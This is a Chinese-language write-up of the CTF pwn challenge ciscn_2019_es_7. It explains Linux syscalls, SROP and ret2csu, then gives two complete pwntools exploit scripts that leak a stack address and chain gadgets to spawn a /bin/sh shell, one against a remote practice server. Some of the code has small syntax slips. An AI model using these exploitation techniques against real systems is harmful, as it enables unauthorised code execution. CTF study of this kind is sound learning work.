ciscn_2019_es_7

1.首先查看防护措施

1

还是很友好的

2.本地调试查看大致情况

2

我们输入了aaaa 发现被打印了出来然后程序中止

3.IDA静态分析

3

把我们输入的内容打印出来

4

这里的两个gadget分别对应 sigreturn系统调用号15 和 execve的系统调用号 59

这里也是有两种解法,SROP和ret2csu

方法1:SROP

1.系统调用

指的是用户空间的程序向操作系统内核请求需要更高权限的服务

32位与64位 系统调用的区别:

  1. 传参方式不同

  2. 系统调用号 不同

  3. 调用方式 不同

32位:

传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器

调用号:sys_read 的调用号 为 3 sys_write 的调用号 为 4

调用方式: 使用 int 80h 中断进行系统调用

64位:

传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器

调用号:sys_read 的调用号 为 0 sys_write 的调用号 为 1

execve 的调用号 为 59

rt_sigreturn 的调用号 为 15

调用方式: 使用 syscall 进行系统调用

2.攻击原理

内核在signal信号处理的过程中,主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要变动都在Signal Frame中

但是Signal Frame被保存在用户的地址空间,所以用户是可以读写的 由于内核与信号处理程序无关,它不会去记录这个signal对应的Signal Frame,所以当执行sigreturn系统调用时,此时的Signal Frame不一定是之前内核为用户进程保存的Signal Frame

3.signal机制

srop

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。

1 内核向某个进程发送signal机制,该进程会被暂时挂起,进入内核态

2 内核会为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理signal

3 signal返回

4 内核为进程恢复之前保留的上下文,恢复进程的执行

内核在保存进程相应上下文阶段主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。

在第二步的时候,内核就会将我们的所有寄存器压栈,同时还会把signal信息以及rt_sigreturn压栈。这个ret_sigreturn是一个地址,这个地址指向了sigreturn的这个系统调用(这个系统调用时SROP利用的核心)signal

完成上述压栈之后,此时的栈布局是这样的,这段内存也被称为Signal Frame。

到了过程④的时候,此时的栈顶就是rt_sigreturn,因此又执行了re_sigreturn所指向的系统调用sigreturn的地址,这个系统调用函数的作用就是去把栈中的数据恢复到对应寄存器里面,也就是疯狂pop。

随着rip的值也被pop了回去,此时的程序的系统调用已经完全完成,程序继续运行。

4.使用前提

1、首先程序必须存在溢出,能够控制返回地址。

2、可以去系统调用sigreturn(如果找不到合适的系统调用号,可以看看能不能利用read函数来控制RAX的值)

3、必须能够知道/bin/sh的地址,如果写的bss段,直接写地址就行,如果写到栈里,还需要想办法去泄露栈地址。

4、允许溢出的长度足够长,这样可以去布局我们想要的寄存器的值

5、需要知道syscall指令的地址

5.system call chains

有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可

1.控制栈指针

2.把原来rip指向的syscall gadget换成syscall;ret gadget555

攻击思路

可以通过read伪造一个frame在栈中,然后执行sigreturn的系统调用,对于frame的伪造可以利用pwntools中的SigreturnFrame()函数

利用栈溢出首先利用sys_read去读一个/bin/sh,但是需要我们leak出字符串在栈中的地址要确定栈偏移

在main函数开始时rsi存的便是栈地址

5

通过gdb调试可以看到 这个地址为 0x7fffffffdf18

输入/bin/sh查看字符串在栈中的地址:

6

0x7fffffffdf18 - 0x7fffffffde00 = 0x118

所以bin_sh =stack_addr - 0x118

因为系统默认的alsr每次运行程序栈地址都不一样,我们还需要leak栈地址

因为栈空间只有0x10而write却可以打印0x30,所以这里可以泄露出rsp的值也就是存的栈的地址

7

看到在输入0x10处和0x20处都存在栈上的地址为了程序正常返回继续利用,故泄漏0x20的地址。

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
#from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')

#p=process("./ciscn_2019_es_7")
p=remote('node4.buuoj.cn',29065)

syscall_ret=0x400517
sigreturn_addr=0x4004da
execve_addr=0x4004E2

xor_rax=0x4004f1

p.sendline(b'/bin/sh'+'\x00'+p64(0)+p64(xor_rax))
#注意这里只做了mov rbp rsp,没有抬高rsp所以不用覆盖rbp
#如果返回地址设置为vlun那么需要在下一个payload里写入/bin/sh,这一次可以不用写

p.recv(0x20)
stack_addr=u64(p.recv(8))

#stack_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

#gdb.attach(p)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

p.sendline(p64(0)*2+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))

p.interactive()

8

方法2:ret2csu

ret2csu攻击手法主要利用_libc_csu_init函数汇编代码段控制寄存器的值

原理

64位传参方式:当参数少于7个时,参数从左到右放入寄存器:rdi,rsi,rdx,rcx,r8,r9

当参数为7个以上时,前6个与前面一样,但是后面的依次放入栈中,和32位一样

我们可以利用x64下的_libc_csu_init中的gadgets。这个函数是用来对libc进行初始化操作的,一般的程序都会调用libc函数,所以这个函数一定会存在

image

从 0x000000000040061A一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据i2

从 0x0000000000400600 到 0x0000000000400609,我们可以将 r13 赋给 rdx,将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器(rdx、rsi、edi)此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址

攻击思路

利用_libc_csu_init函数汇编代码段控制寄存器的值

我们要执行execve(“/bin/sh”, 0, 0)则需要以下条件:

1
2
3
4
5
6
我们需要控制rax为0x3b,rdi指向/bin/sh,rsi=0,rdx=0
rax = 0x3b
rdi='/bin/sh'
rsi = 0x0
rdx = 0x0

10

先找到pop rdi的gadget : 0x4005a3

pop rbx, rbp, r12, r13, r14, r15,给寄存器赋值的gadget1 :0x40059A

mov rdx, r13 ; mov rsi, r14 ; mov edi, r15 控制rdx,rsi,edi的gadget2 : 0x0400580

1
2
3
4
5

pop_rdi_ret_addr=0x4005a3
libc_csu_gadget_1=0x40059A
libc_csu_gadget_2=0x0400580

首先还是和之前一样的步骤泄露栈地址:

1
2
3
4
5
payload=b'a' * 0x10 +p64(vuln_addr)
p.sendline(payload)
p.recv(0x20)
stack_addr=u64(p.recv(8))
bin_sh = stack_addr - 0x118

接下来利用万能gadget控制寄存器的值,执行execve(‘/bin/sh’,0,0)

1
2
3
4
5
6
7
8
payload=b'/bin/sh\x00'*2+p64(libc_csu_gadget_1)
payload+= p64(0)*2 + p64(addr+0x50) + p64(0)*3

payload+= p64(libc_csu_gadget_2) #rdx=r13=0,rsi=r14=0,rdi=r15=0
payload+= p64(execve_addr) #rax=0x3b
payload+= p64(pop_rdi_ret_addr) + p64(bin_sh) #'/bin/sh'写入rdi
payload+= p64(syscall_addr) #进行系统调用syscall

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
#from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')

p=process("./ciscn_2019_es_7")
#p=remote('node4.buuoj.cn',29065)
vuln_addr=0x0004004ED
execve_addr=0x04004E2
pop_rdi_ret_addr=0x4005a3

libc_csu_gadget_1=0x40059A

libc_csu_gadget_2=0x0400580


syscall_addr=0x00400517

payload=b'a' * 0x10 +p64(vuln_addr)
p.sendline(payload)
p.recv(0x20)
bin_sh=u64(p.recv(8))-0x118


payload=b'/bin/sh\x00'*2+p64(libc_csu_gadget_1)
payload+= p64(0)*2 + p64(bin_sh+0x50) + p64(0)*3 // r12设置成后面的rop地址


payload+= p64(libc_csu_gadget_2)

payload+= p64(execve_addr)
payload+= p64(pop_rdi_ret_addr) + p64(bin_sh)
payload+= p64(syscall_addr)


p.sendline(payload)

p.interactive()